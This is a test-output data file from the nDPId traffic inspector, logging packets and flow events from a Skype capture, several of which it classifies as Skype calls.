+00424{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":421113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0H49AAEAGORLAqAEiQTffIcNuAbtcUOSfLmGB64ARECzffQAAAQEICj4ixcxNl50C"} +00436{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":498063,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYi6dN4KMwKgBIpxhw3JnDsNv\/4c1o6ASOJAm+AAAAgQFrAQCCApOvfTqPiLFlwEDAwk="} +00424{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":498174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0z75AAEAGiXfAqAEinTeCjMNynGH\/hzWjZw7DcIAQECx9oAAAAQEICj4ixhlOvfTq"} +00557{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":498775,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"0NQSxnP1PBXCt3IOCABFAACUXXdAAEAG+17AqAEinTeCjMNynGH\/hzWjZw7DcIAYECyOeQAAAQEICj4ixhlOvfTqmgPFoGNvmttu17SSx27DN0FnIgPIdkEujgkI9UxBABGXtsfa6cT2IT4xj5vBwO6MGkMYqcb\/pMUye\/ChXrf8PUqzyJn2b1S1YuugkY4nrC16I3iJJt8EpZJbUIG+l1wd"} +00435{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":511858,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGsBCdNziqwKgBIpxPw3E+7utRq+gShaASOJAwmQAAAgQFrAQCCApNea1+PiLFlwEDAwk="} +00423{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":511982,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0wcBAAEAG4VfAqAEinTc4qsNxnE+r6BKFPu7rUoAQECyHNAAAAQEICj4ixiZNea1+"} +00510{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":512542,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"0NQSxnP1PBXCt3IOCABFAABzkndAAEAGEGLAqAEinTc4qsNxnE+r6BKFPu7rUoAYECx1PQAAAQEICj4ixiZNea1+5vVxrX76d82rgTASGZpaWE0S7\/lCVZONEASv82fBHTwrvUzATCY92YORcYJnDajjtWLroJGOJ6wteiN4iSbf"} +00435{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":579047,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtI2dODQswKgBIpxgw3AfJGVIsd5fP6ASOJAHOgAAAgQFrAQCCApMZC+DPiLFlwEDAwk="} +00424{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":579177,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04EdAAEAGx03AqAEinTg0LMNwnGCx3l8\/HyRlSYAQECxdkgAAAQEICj4ixmlMZC+D"} +00577{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":579732,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"0NQSxnP1PBXCt3IOCABFAAChEsRAAEAGlGTAqAEinTg0LMNwnGCx3l8\/HyRlSYAYECzqEQAAAQEICj4ixmlMZC+Dh0to2qYboIadJIPjU5nsQLsFLQnwN7cbNuOqHu4uRdN1I1mopcbFq78KyvPnKKOzCNk2r5T1oivg0c5n7G26Y7jJZh9E5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKnG\/6TFMnvwoV63\/A=="} +00424{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":626085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0NnlAADcGK72dN4KMwKgBIpxhw3JnDsNw\/4c2A4AQAB2NLwAAAQEICk699Qo+IsYZ"} +00523{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":631574,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"PBXCt3IO0NQSxnP1CABFAAB8NnpAADcGK3SdN4KMwKgBIpxhw3JnDsNw\/4c2A4AYAB3YVQAAAQEICk699Qs+IsYZlYPUs9F12mkMgpadxbNt8pg3v+ke42W4cyp4XIDaqzW2AuxNxheCt2VUeuTPemoLDdoD2GmGv2SF8juwYR53vP0Kc4hZti8U"} +00424{"flow_id":51,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":631698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0hk5AAEAG0ufAqAEinTeCjMNynGH\/hzYDZw7DuIAQECl8VgAAAQEICj4ixp1OvfUL"} +00436{"flow_id":51,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":632244,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8QspAAEAGFmTAqAEinTeCjMNynGH\/hzYDZw7DuIAYECnjpQAAAQEICj4ixp1OvfULJJFwCjegzGQ="} +00462{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":638264,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABP88BAAEAGZMXAqAEiQTffIcNuAbtcUOSELmGB64AZECyzTgAAAQEICj4ixqNNl50CTMAH1SL8QvONeRpYBso+\/QJCoz9WFRyG\/xRs"} +00423{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":654786,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0RvBAADMGaSidNziqwKgBIpxPw3E+7utSq+gSxIAQAB2W4AAAAQEICk15raI+IsYm"} +00506{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":655374,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"PBXCt3IO0NQSxnP1CABFAABvRvFAADMGaOydNziqwKgBIpxPw3E+7utSq+gSxIAYAB2RtAAAAQEICk15raI+IsYm4lwJ5ge5wMALMNxV+zSSt83It8u+Ei0iJt3K2s\/GC6u4m1MrA9Wr0MYeFbMep6N0+AmmX4QlEtvQAT4="} +00423{"flow_id":50,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":655445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0VRFAAEAGTgfAqAEinTc4qsNxnE+r6BLEPu7rjYAQECqGCwAAAQEICj4ixrNNea2i"} +00436{"flow_id":50,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":655976,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/FRAAEAGprvAqAEinTc4qsNxnE+r6BLEPu7rjYAYECq51wAAAQEICj4ixrRNea2iMpsmfs9xo5c="} +00423{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":785223,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Sv5AADMGaZedODQswKgBIpxgw3AfJGVJsd5frIAQAB1tAAAAAQEICkxkL7c+IsZp"} +00526{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":791114,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"PBXCt3IO0NQSxnP1CABFAAB7Sv9AADMGaU+dODQswKgBIpxgw3AfJGVJsd5frIAYAB2zMgAAAQEICkxkL7k+IsZpYbAXlTB0kxlxib\/jan9ZZ0HQSDVpexbXhCIwvEny2kC84IojgVuCnmSC6zngUx75lo\/01QILQLEuR0xNGkMYqcb\/pMUye\/A="} +00423{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":791211,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0VMlAAEAGUszAqAEinTg0LMNwnGCx3l+sHyRlkIAQEClb2gAAAQEICj4ixzpMZC+5"} +00435{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":791788,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8X2JAAEAGSCvAqAEinTg0LMNwnGCx3l+sHyRlkIAYECltgQAAAQEICj4ixzpMZC+5IVzDseW9I30="} +00436{"flow_id":51,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":162892,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA88jpAAEAGZvPAqAEinTeCjMNynGH\/hzYDZw7DuIAYECnhlQAAAQEICj4iyK1OvfULJJFwCjegzGQ="} +00435{"flow_id":50,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":218742,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8EC9AAEAGkuHAqAEinTc4qsNxnE+r6BLEPu7rjYAYECq3pwAAAQEICj4iyORNea2iMpsmfs9xo5c="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":580,"source":"skype.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":50035,"dst_port":40021,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":376019,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAQSRAAEAGrlLAqAEi1cezr8NznFXnJeTHAAAAALAC\/\/+4YAAAAgQFtAEDAwUBAQgKPiLJgQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":581,"source":"skype.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":376335,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0QmIAAEARVi\/AqAEiQTffJjLdnE8AIJ1Im8QCCqRVDPPz90033q\/EDoSNqvvC54ua"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":581,"source":"skype.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":582,"source":"skype.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.175","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":376365,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+eZEAAEARtmzAqAEinTfrrzLdnEgAKiUSm8YCMvX5DXLyjY07d4zs9r3Rfjeqbt6RlQe5nLyOBDZmjA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":582,"source":"skype.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.175","src_port":13021,"dst_port":40008,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":583,"source":"skype.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.43","src_port":13021,"dst_port":40002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":376366,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+H6wAAEAReNbAqAEiQTffKzLdnEIAKjdVm8gCRata2g4WRHPEL7\/NhH8e4p0ZaFQg5mWNPjrWv1AvJA=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":583,"source":"skype.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.43","src_port":13021,"dst_port":40002,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":584,"source":"skype.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.161","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":376488,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4T0EAAEARk9HAqAEinTc4oTLdnEwAJGHem8oC2K8VAwXZ2I4FcvndU1pGdzS9eSLWH0xc+w=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":584,"source":"skype.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.161","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":585,"source":"skype.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.17","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":376526,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4VhMAAEARqOnAqAEib91KETLdnFYAJFy+m8wCfUg82Gg6DnsozSUd0tlDoiZPS7EFljPm7g=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":585,"source":"skype.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.17","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":463921,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADgG93rVx7OvwKgBIpxVw3Nt\/WNx5yXkyKASOJA3OAAAAgQFrAQCCApO2zlGPiLJgQEDAwk="} +00423{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":464004,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0kRFAAEAGXnHAqAEi1cezr8NznFXnJeTIbf1jcoAQECyOCgAAAQEICj4iydlO2zlG"} +00490{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":464553,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"0NQSxnP1PBXCt3IOCABFAABkvFZAAEAGMvzAqAEi1cezr8NznFXnJeTIbf1jcoAYECzdMwAAAQEICj4iydlO2zlGUyU7cFcUPq3639jExXXe2rp6QwLRh9WNc6p+6woeVCkt2aXhyDUzLR\/RObUkbNHR"} +00677{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":510940,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtta9AAEAGiR3AqAEiF84hpsNtAbuewXpuGKHN44AYECy+6QAAAQEICj4iygfsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00424{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":529532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Wi5AADgGnVTVx7OvwKgBIpxVw3Nt\/WNy5yXk+IAQAB2d0wAAAQEICk7bOVw+IsnZ"} +00503{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":534954,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"PBXCt3IO0NQSxnP1CABFAABsWi9AADgGnRvVx7OvwKgBIpxVw3Nt\/WNy5yXk+IAYAB19LgAAAQEICk7bOV4+IsnZ3N0WLF0319oAwF8N9nmTqrf5u7NmHFqrn8impte659IIWu54KIxLF4am65Hh2I\/hHN1qU+g5Fg8="} +00423{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":592,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":535070,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Gy9AAEAG1FPAqAEi1cezr8NznFXnJeT4bf1jqoAQECqNRwAAAQEICj4iyh5O2zle"} 